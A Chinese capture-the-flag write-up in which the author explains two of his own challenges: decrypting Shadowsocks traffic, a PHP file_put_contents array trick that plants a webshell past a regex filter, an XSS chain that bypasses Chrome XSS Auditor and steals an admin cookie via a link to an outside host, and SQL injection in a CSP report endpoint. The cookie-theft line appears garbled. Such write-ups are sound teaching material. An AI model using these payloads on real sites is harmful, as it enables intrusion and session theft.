作者:phith0n@長亭科技

Pwnhub 在8月舉辦了第一次線下沙龍,我也出了兩道 Web 相關的題目,其中涉及好幾個知識點,這里說一下。

題目《國家保衛者》

國家保衛者是一道 MISC 題目,題干:

Phith0n作為一個國家保衛者,最近發現國際網絡中有一些奇怪的數據包,他取了一個最簡單的(神秘代碼 123456 ),希望能分析出有趣的東西來。https://pwnhub.cn/attachments/170812_okKJICF5RDsF/package.pcapng

考點一、數據包分析

其實題干很簡單,就是給了個數據包,下載以后用 Wireshark 打開即可。因為考慮到線下沙龍時間較短,所以我只抓了一個 TCP 連接,避免一些干擾。

因為我沒明確寫這個數據包是干嘛的,有的同學做題的時候有點不知所以然。其實最簡單的一個方法,打開數據包,如果 Wireshark 沒有明確說這是什么協議的時候,就直接看看目標端口:

8388 端口,搜一下就知道默認是什么服務了。

Shadowsocks 數據包解密,這個點其實我2015年已經想出了,但一直我自己沒仔細研究過他的源碼,對其加密的整個流程也不熟悉。后面抽空閱讀了一些源碼,發現其數據流有一個特點,就是如果傳輸的數據太大的話,還是會對數據包進行分割。

所以,我之前直接把源碼打包后用 shadowsocks 傳一遍,發現抓下來的包是需要處理才能解密,不太方便,后來就干脆弄了個302跳轉,然后把目標地址和源碼的文件名放在數據包里。

找到返回包的 Data,然后右鍵導出:

然后下載 Shadowsocks 的源碼,其中有一個 encrypt.py,雖然整個加密和流量打包的過程比較復雜,但我們只需要調用其中解密的方法即可。

源碼我就不分析了,解密代碼如下(./data.bin是導出的密文,123456是題干里給出的“神秘代碼”,aes-256-cfb是默認加密方式):

if __name__ == '__main__':
    with open('./data.bin', 'rb') as f:
        data = f.read()
    e = Encryptor('123456', 'aes-256-cfb')
    print(e.decrypt(data))

直接把這個代碼加到 encrypt.py 下面,然后執行即可:

當然,在實戰中,進行密鑰的爆破、加密方法的爆破,這個也是有可能的。為了不給題目增加難度,我就設置的比較簡單。

考點二、PHP代碼審計/Trick

解密出數據包后可以看到,Location的值給出了兩個信息:

  1. 源碼包的路徑
  2. 目標地址

所以,下載源碼進行分析。

這是一個比較簡單的代碼審計題目,簡單流程就是,用戶創建一個 Ticket,然后后端會將 Ticket 的內容保存到以“cache/用戶名/Ticket標題.php”命名的文件中。然后,用戶可以查看某個 Ticket,根據 Ticket 的名字,將“cache/用戶名/Ticket標題.php”內容讀取出來。

這個題目的考點就在于,寫入文件之前,我對用戶輸出的內容進行了一次正則檢查:

<?php
function is_valid($title, $data)
{
    $data = $title . $data;
    return preg_match('|\A[ _a-zA-Z0-9]+\z|is', $data);
}

function write_cache($title, $content)
{
    $dir = changedir(CACHE_DIR . get_username() . '/');
    if(!is_dir($dir)) {
        mkdir($dir);
    }
    ini_set('open_basedir', $dir);

    if (!is_valid($title, $content)) {
        exit("title or content error");
    }

    $filename = "{$dir}{$title}.php";

    file_put_contents($filename, $content);
    ini_set('open_basedir', __DIR__ . '/');
}

整個流程如下:

  1. title 和 content 拼接成字符串
  2. 將1的結果進行正則檢測攔截,正則比較嚴格,\A[ _a-zA-Z0-9]+\z,只允許數字、字母、下劃線和空格
  3. 匹配成功,使用file_put_contents(title, content)寫入文件中

也就是說,我們的 webshell,至少需要<?等字符,但實際上這里正則把特殊符號都攔截了。

這就考到PHP的一個小 Trick 了,我們看看 file_put_contents 的文檔即可發現:

其第二個參數允許傳入一個數組,如果是數組的話,將被連接成字符串再進行寫入。

回看我的題目,在正則匹配前,$title$content進行了字符串連接。得益于PHP的弱類型特性,數組會被強制轉換成字符串,也就是ArrayArray肯定是滿足正則\A[ _a-zA-Z0-9]+\z的,所以不會被攔截。

所以最后,發送如下數據包即可成功 getshell:

POST /i.php HTTP/1.1 
Host: 52.80.37.67:8078 
Content-Length: 49 
Cache-Control: max-age=0 
Origin: http://52.80.37.67:8078 
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 
Content-Type: application/x-www-form-urlencoded 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 
Referer: http://52.80.37.67:8078/index.php 
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 
Cookie: PHPSESSID=asdsa067hpqelof5cevlgcsip4 
Connection: close 

title=s&content[]=<?php&content[]=%0aphpinfo();

(自豪的說一下,為了防攪屎,我已經把我前段時間寫的 PHP 沙盒加進來了,所以 getshell 后只能執行少量函數。最后只要執行一下 show_flag() 即可獲得Flag)

file_put_contents這個特性還是比較有實戰意義的,比如像下面這種基于文件內容的WAF,就可以繞過:

<?php
$text = $_GET['text'];
if(preg_match('[<>?]', $text)) {
    die('error!');
}
file_put_contents('config.php', $text);


題目《改行做前端》

這個題目看似是一個前端安全的題目,實際上還考了另一個比較隱蔽的點。

題干:

Phithon最近考慮改行做前端,這是他寫的第一個頁面: http://54.222.168.105:8065/ (所有測試在Chrome 60 + 默認配置下進行)

考點一、XSS綜合利用

這個考點是一個比較普通的點,沒什么太多障礙。打開頁面,發現下方有一個提交框,直接點提交,即可發現返回如下鏈接:http://54.222.168.105:8065/?error=驗證碼錯誤

error這個參數被寫在JavaScript的引號里,并對引號進行了轉義:

<script>
    window.onload = function () {
        var error = 'aaa\'xxx';
        $("#error").text(error).show();
    };
</script>

但 fuzz 一下 0-255 的所有字符,發現其有如下特征:

  1. 沒有轉義<、>
  2. 換行被替換成

沒有轉義<>,我們就可以傳入error=</script><script>alert(1)</script>來進行跨站攻擊。但問題是,Chrome默認有XSS過濾器,我們需要繞過。

這里其實就是借用了前幾天 @長短短 在Twitter上發過的一個繞過 Chrome Auditor 的技巧:

換行被轉換成<br />后,用上述Payload即可執行任意代碼。

另外,還有個方法:《瀏覽器安全一 / Chrome XSS Auditor bypass》 - 輸出在script內字符串位置的情況 ,這里提到的這個POC也能利用:http://54.222.168.105:8065/?error=%3C/script%3E%3Csvg%3E%3Cscript%3E{alert(1)%2b%26apos%3B (和我博客中文章給的POC有一點不同,因為要閉合后面的},所以前面需要加個{

最后,構造如下Payload:

http://54.222.168.105:8065/?error=email%E9%94%99%E8%AF%AF%3C/script%3E%3Cscript%3E1%3C(br=1)*/%0deval(atob(location.hash.substr(1)))%3C/script%3E#xxxxxx

將我們需要執行的代碼 base64 編碼后放在xxxxxx的位置即可。

漏洞利用

發現了一個 XSS,前臺正好有一個可以提交 URL 的地方,所以,將構造好的 Payload 提交上去即可。

猜測一下后臺的行為:管理員查看了用戶提交的內容,如果后臺本身沒有 XSS 的情況下,管理員點擊了我們提交的URL,也能成功利用。

但因為前臺有一個 unsafe-inline csp,不能直接加載外部的資源,所以我用鏈接點擊的方式,將敏感信息傳出:

a=document.createElement('a');a.+document.cookie);a.click();

另外,因為后臺還有一定的過濾,所以盡量把他們用url編碼一遍。

打到了后臺地址和Cookie:

用該Cookie登錄一下:

沒有Flag……gg,

考點二、SQL注入

這題看似僅僅是一個XSS題目,但是我們發現進入后臺并沒有Flag,這是怎么回事?

回去翻翻數據包,仔細看看,發現我們之前一直忽略了一個東西:

report-uri 是 CSP 中的一個功能,當 CSP 規則被觸發時,將會向 report-uri 指向的地址發送一個數據包。其設計目的是讓開發者知道有哪些頁面可能違反 CSP,然后去改進他。

比如,我們訪問如下URL:http://54.222.168.105:8065/?error=email%E9%94%99%E8%AF%AF%3C/script%3E%3Cscript%3E1%3C(br=1)*/%0deval(location.hash.substr(1))%3C/script%3E#$.getScript('http://mhz.pw'),這里加載外部 script,違反了 CSP,所以瀏覽器發出了一個請求:

這個數據包如下:

POST /report HTTP/1.1
Host: 54.222.168.105:8065
Connection: keep-alive
Content-Length: 843
Origin: http://54.222.168.105:8065
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/csp-report
Accept: */*
Referer: http://54.222.168.105:8065/?error=email%E9%94%99%E8%AF%AF%3C/script%3E%3Cscript%3E1%3C(br=1)*/%0deval(location.hash.substr(1))%3C/script%3E
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: PHPSESSID=i1q84v0up0fol18vemfo7aeuk1

{"csp-report":{"document-uri":"http://54.222.168.105:8065/?error=email%E9%94%99%E8%AF%AF%3C/script%3E%3Cscript%3E1%3C(br=1)*/%0deval(location.hash.substr(1))%3C/script%3E","referrer":"","violated-directive":"script-src","effective-directive":"script-src","original-policy":"default-src 'self' https://*.cloudflare.com https://*.googleapis.com https://*.gstatic.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://*.cloudflare.com https://*.googleapis.com https://*.gstatic.com; style-src 'self' 'unsafe-inline' https://*.cloudflare.com https://*.googleapis.com https://*.gstatic.com; report-uri /report","disposition":"enforce","blocked-uri":"http://mhz.pw/?_=1502631925558","line-number":4,"column-number":27989,"source-file":"https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js","status-code":200,"script-sample":""}}

這個請求其實是有注入的,注入點在document-uriblocked-uriviolated-directive這三個位置都有,隨便挑一個:

普通注入,我就不多說了。

注入獲得兩個賬號,其中caibiph的密碼可以解密,直接用這個賬號登錄后臺,即可查看到 Flag:


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/401/